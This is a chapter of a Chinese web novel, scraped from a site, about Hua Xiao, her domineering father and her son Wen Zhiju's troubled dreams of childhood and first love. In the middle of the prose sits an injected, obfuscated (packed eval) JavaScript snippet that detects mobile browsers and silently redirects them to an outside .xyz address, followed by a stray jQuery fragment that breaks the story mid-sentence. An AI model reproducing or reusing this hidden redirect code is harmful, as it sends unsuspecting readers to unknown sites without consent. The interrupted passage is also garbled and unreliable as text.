“爸爸!我考了一百分!”
一个抓着双马尾的小女孩欢欢喜喜地捧着一张试卷,小跑进大厅。
她的脸上洋溢着开怀的笑容,脸蛋红扑扑的,额前细软的胎发被兴奋的汗水打湿,粘连在一起。
华晓一路小跑,直到进了大厅,才放慢了脚步。
她小心翼翼地环顾四周,在寻找那道自己渴望的身影,眼神定格在坐在檀木椅上的中年男人身上,心中一喜,刚想要说些什么,目光又触及到男人不悦的神色。
华正文眉头微皱,略厚的嘴唇抿着,整个人都透露着一股威严。
华晓的兴奋劲在看清他的脸色时就犹如被当头脚下一盆冷水,凉的彻底。
她顿住脚步,身体僵硬地站在了华正文的面前,眼睛怯懦地看向地面。
“你看看你这是什么样子,我教你的全忘记了?”冷硬粗犷的声音在华晓的头顶响起,“考个满分有什么用,你一个小女孩早晚要嫁人,跟你妈妈学学怎么照顾人才是正道。”
华晓的头越来越低,泪水滴在干净的地板上,砸出圆点。
画面一转,此刻的华晓已经长成了纤纤少女,个头挺拔,容貌清丽。
只是与而是的懦弱不同,少女的眼中多了几分慑人的尖锐。
她不再讨好父亲,却企图用叛逆吸引父亲的注意了。
这种方法好像有些效果,可更多的是父亲为自己处理烂摊子时的厌恶。
“你看你现在成了什么样子,不人不鬼!头发和嘴红得跟鬼一样,在外面不要说你是我的女儿!”
诸如此类的批评不绝于耳。
那时的华晓通常会吊儿郎当地歪着头,仿佛毫不在意这样的声音,实则空洞的心脏早就千疮百孔,痛不堪言。
可他又有什么办法,只有这种方法她才能从自己的兄弟身上抢过一点父爱,哪怕伴随着谩骂也好。
再过去一段时间,好像连这种骗走锋芒的方法也失效了。
她彻底被华正文放弃了。
再加上学业被荒废,正正大学三年,她都被扔在一个偏远的地区,无人问津。
因此对父爱的渴求逐渐转变为刺骨的恨意。
曾经有一段时间,华晓也彻底和华家割席过。
努力上学,专升本,又准备着考研。
想要通过自己的努力闯出一片天来。
可是,华正文突然想起了他还有个女儿。
自作主张便给她定下了婚事。
知道这个消息的华晓刚从考场上下来,犹如晴天霹雳。
后来,她被绑着去领了结婚证,被迫当起了家庭主妇。
她和华正文的关系也彻底降至冰点。
至于现在为什么还能站在这里心平气和地面对他,也不过是为了他死后能从他的遗嘱里多分些财产。
“晓晓。”华正文陡然出声,打破了寂静,“你是在不满意我说的话?”
华晓没有出声,只是讥讽一笑,扭过了头。
华正文沉默半晌,又道:“致橘果然是你的儿子,在他小时候我就知道她大概率会跟你一样混账,难免严格了点,没想到还是防不胜防。”
“您老人家真是一点错都没有。”华晓这句话说得隐晦。
华正文果然没有听懂,只道:“错还是在你,没能管好自己的孩子让他变成这幅模样,你也该反思反思了。”
华晓只觉得好笑,笑得前仰后翻,笑出了眼泪花。
“我确实该好好反思了。”她擦了擦眼角的泪,“今晚我就不留在这了,你们玩。”
说罢,转身就要走。
温修诚看得眉头紧缩,见自己的妻子要走,连忙拦住:“华晓。”
华晓停住脚步,看向他,意思是有屁快放。
温修诚凑近她耳语:“我还有事和你家里人谈,你不能走。”
“跟我用什么关系。”她并没有刻意压制声音,于是所有人都听见了她在说什么。
温修诚蹙眉,有些不满,依旧小声道:“我们俩是夫妻,荣辱与共。再者,你今天给我一个面子,就当我欠你一个人情了,行不行?”
华晓讶异地挑眉,思考片刻,同意了。
温修诚拉开和她的距离,圆场:“爸,你可得夸夸我,我把她劝下来了。一家人总的有一家人的样子,少了人怎么行。”
这句话成功把华正文逗得眉笑颜开:“还是修诚懂事,我这个女儿啊…”
他看向华晓,面色冷硬:“四十岁的人了,还跟小孩子一样。”
听见这句话,华晓藏垂在身侧的手蓦然捏紧,指甲盖紧紧地掐进肉里,才勉强维持住了镇定。
温修诚宽大的手掌轻轻在她的背上安慰性地拍了拍,示意她不要吭声。
*
而早早就上了楼的温致橘并不知道就在这短短的时间里便发生了这么多的事情。
此刻的他躺在柔软的床上,依然闭上了双眼,睡得昏沉。
长时间的精神紧绷,蓦然松懈下来就会产生疲倦,正是如此,温致橘才能快速入睡。
明明在他极其厌恶的地方,却比在家睡的还要沉,仿佛被拉进深海之中,难以苏醒。
或许是今天的场景触及了他记忆的深处,以至于他在睡梦中都在一遍遍重复他儿时的画面。
像被扼住了喉咙,他不断挣扎却越陷越深,
小小的温致橘蜷缩在房间的角落里,将头死死地埋在臂弯中,颤声重复着一句话:“我不要……不要……”
周遭的环境是那么熟悉,却又笼罩在阴冷的黑暗中,唯有那一小片角落还有一点微弱的光芒。
小温致橘绝望极了。
就在不久前,他因为偷偷和不被妈妈允许的小孩玩在了一起,而被关了禁闭。
他也不知道明明他已经很小心了,妈妈也并不在家,是怎么知道自己和别人玩了的。
可她就是发现了,并且怒火中烧,直接把他从公共沙场里拎回家,二话不说将他锁在了房间里,只留下一句:“今晚不许吃饭,”
“妈妈…我好饿…我真的好饿…”小温致橘用微弱的声音哀求着,“妈妈…对不起…我下次再也不敢了…你…你放我出去吧。”
现实中紧闭着双目地温致橘身体一抖,眉眼间隐隐露出痛苦的神色。
他的呼吸短暂又急促,额头冒出冷汗。
可是这种情
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513004|185321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
况并没有持续很久,不知道在哪一个时间点,他的眉头突然舒张,人也从最开始地紧绷抗拒变得恬静。
他梦到了魏珆。
那个给他招来祸患的女孩。
但他心里却清楚,他并不讨厌她。
那天的升旗仪式,本该由卓易梦抵到他手中的信变成了她。
少女羞涩地低着头,拿着信封的手指微微颤着,指节用力到发白。
由温致橘的视来看,他只能看见女孩的发顶,以及听清她急促的呼吸声。
“温同学,你…你可以收下这封信吗?”魏珆紧张的声音传到他的耳朵里,激起一片颤。
梦里的他却恶劣地问:“这是什么信?”
魏珆似乎也没有料到他会这样说,呼吸一滞,脸颊更红了,连带着耳后根都红得仿佛要滴血。
她结结巴巴道:“是…是…”
温致橘抢先一步道:“是情书?”
话脱口而出地那一刹那。整个世界都安静下来。
梦境中,原本人群攒动的操场顿时只剩他们两个人的身影。
少女羞愤欲死地垂着头,而少年却肆意地笑着,静静等待少女接下来的动作。
“嗯…”她的声音微不可闻。
“什么?我没听清。”少年又凑近了一分,鼻尖几乎要抵上她的刘海。
可少女却像一只被逼急了的兔子,猛的往后一跳,抬起那张红成柿子的脸,有些恼怒。
这次话能说得顺畅了:“没什么。”
温致橘的笑意更盛,一把拉住魏珆的手腕:“别走。”
这场梦戛然而止。
温致橘忽然睁开了双眼。
他双目呆滞地看着天花板,恍然惊觉天已经黑了。
心里的那股悸动却没有散去。
半真半假的梦让他混淆了现实与幻想,他躺在床上,脑海里却还在回想那场极其真实的梦。
仿佛刚在不久前发生。
不知道过了多久,他的意识才渐渐回笼。
他从床上爬起来,揉了揉胀痛的脑袋,不禁“嘶”了一声。
房门外响起敲门声。
“少爷,你醒了吗?要吃晚饭了。”
温致橘应声:“醒了,我这就下去。”
说完,打开房间里的灯,去卫生间洗了把脸就下楼了。
好在晚饭过后,大家都自觉回了房间,没有多说一句话。
不知道是不是下午睡的时间太长,还是因为那场梦对他的冲击过大,晚上他辗转反侧却始终都睡不着。
所以干脆起床,打算下楼找点吃的。
却在经过隔壁父母的房间时,不小心听见了里面传来的说话声。
“早知道就不来了。”
“别说这种话了,反正明天就回去了。”
“我就不应该听你的。”
房间里短暂地陷入了沉默。
女声接着响起:“但也不是没有收获,哈,温致橘的头发果然把他气的半死。”
“嘘,你小点声。”
温致橘拧着眉。
怪不得华晓只是嘴上说说让他把头发染回去,却始终没有什么实际行动。